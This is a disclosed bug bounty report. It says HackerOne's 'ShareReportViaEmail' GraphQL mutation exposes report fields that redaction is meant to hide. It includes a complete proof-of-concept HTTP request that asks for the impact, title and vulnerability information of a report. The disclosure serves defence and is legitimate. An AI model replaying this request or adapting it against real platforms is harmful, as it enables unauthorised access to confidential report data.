Inadequate redaction exposes sensitive information via the “ShareReportViaEmail" GraphQL endpoint

Summary

Summary

The vulnerability involves the insufficient redaction of sensitive information within the HackerOne platform. Specifically, the redaction feature, designed to conceal certain data such as JIRA references, fails to completely obscure this information from being accessed through GraphQL requests.

Steps to Reproduce

1. Execute the following GraphQL request:

POST /graphql HTTP/2
Host: hackerone.com

{
  "operationName":"ShareReportViaEmail",
  "variables":{
    "product_area":"reports",
    "product_feature":"inbox",
    "reportId":"gid://hackerone/Report/2139856",
    "message":"can we disclose",
    "emails":["[email protected]"]
  },
  "query":"mutation ShareReportViaEmail($reportId: ID!,$message: String!,$emails: [String!]!) {\n   shareReportViaEmail(\n    input: {report_id: $reportId,message:$message ,emails:$emails}\n  ) {\n was_successful\n  report{impact title vulnerability_information}    errors {\n      edges {\n        node {\n          id\n          error_code\n          field\n          message\n          __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n"
}

2. Observe the response, which includes the redacted impact field.

Impact

The impact of this vulnerability is significant as it undermines the confidentiality measures put in place by the redaction feature. An attacker or unauthorized user could potentially exploit this vulnerability to gain access to sensitive information which might include critical data.

███████